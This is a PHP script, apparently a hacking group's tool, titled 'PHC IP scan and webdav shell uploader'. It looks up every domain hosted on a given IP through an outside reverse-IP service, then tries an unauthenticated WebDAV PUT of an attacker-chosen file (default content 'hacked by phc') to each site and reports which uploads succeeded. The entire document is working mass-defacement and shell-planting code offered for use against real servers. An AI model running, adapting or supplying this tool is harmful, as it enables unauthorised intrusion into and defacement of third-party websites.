Webdav server scanner

<center><font style="font-size:40px">PHC IP scan and webdav shell uploader</font><br /><br />

<?php
set_time_limit(0);
error_reporting(0);

echo '<form action="" method="post">
        Filename:<input name="nam" value="phc.txt"><br />
        Text:<br />
        <textarea name="isi" cols="50" rows="30">hacked by phc/textarea><br />
        Scan ip:<br />
        <input name="wd" value="60.172.12.2"><br />
        <input type="submit">
        </form>';



$filename = $_POST["nam"];
$ip = $_POST["wd"];
$isi = $_POST["isi"];
$ua = $_SERVER["HTTP_USER_AGENT"];


if($ip != null)
{
$fi = file_get_contents("http://domains.yougetsignal.com/domains.php?remoteAddress=".$ip);


$j = json_decode($fi)->domainArray;


foreach($j as $hu)
{


//script webdav mula

$taz = fopen("sementara.phc", "w+");
          fwrite($taz, $isi);
          fclose($taz);





// Prepare the file we are going to upload
$filepath = "sementara.phc";
$filesize = filesize($filepath);
$fh = fopen($filepath, 'r');






// The URL where we will upload to, this should be the exact path where the file
// is going to be placed
$remoteUrl = $hu[0];


// Initialize cURL and set the options required for the upload. We use the remote
// path we specified together with the filename. This will be the result of the
// upload.
$ch = curl_init($remoteUrl ."/". $filename);

// I'm setting each option individually so it's easier to debug them when
// something goes wrong. When your configuration is done and working well
// you can choose to use curl_setopt_array() instead.

// Set the authentication mode and login credentials
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);


// Define that we are going to upload a file, by setting CURLOPT_PUT we are
// forced to set CURLOPT_INFILE and CURLOPT_INFILESIZE as well.
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_INFILE, $fh);
curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the request, upload the file
$cek = curl_exec($ch);
           curl_close($ch);
if($ip != null)
 {
   $cu = curl_init("http://".$hu[0]."/".$filename);
            curl_setopt($cu, CURLOPT_RETURNTRANSFER, true);
            $res = curl_exec($cu);
                       curl_close($cu);


   $che = strripos($res, "403");
   $che2 = strripos($res, "404");
   $che3 = strripos($res, "method not allowed");
   $che4 = strripos($res, "404");
   $che5 = strripos($res, "Not found");

  if($che or $che2 or $che3 or $che4 or $che5 > 1)
   {
    if($cek === false)
         {
           echo "<a href='http://".$hu[0]."/".$filename."'>".$hu[0]."/".$filename."</a>:[failed]<br />";
          }
         else
         {

                       $cr = curl_init();
            curl_setopt($cr, CURLOPT_URL, "http://".$hu[0]."/".$filename);
                  curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
                  $respons = curl_exec($cr);
                      $errno = curl_errno($cr);
                      $error = curl_error($cr);
               $response = $response;
                        $info = curl_getinfo($cr);
                      $chek = $info['http_code'];
                        curl_close($cr);


                  if($chek > 400)
                        {

           echo "<a href='http://".$hu[0]."/".$filename."'>".$hu[0]."/".$filename."</a>:[failed]<br />";
                       }
                   else
                      {
           echo "<a href='http://".$hu[0]."/".$filename."'>".$hu[0]."/".$filename."</a>:[uploaded]<br />";
                      }
          }
    }
  else
   {
     echo "<a href='http://".$hu[0]."/".$filename."'>".$hu[0]."/".$filename."</a>:[Uploaded]<br />";
    }
 }
 else
  {
  }


// Close the file handle
fclose($fh);




//script webdav tamat
}
}

?>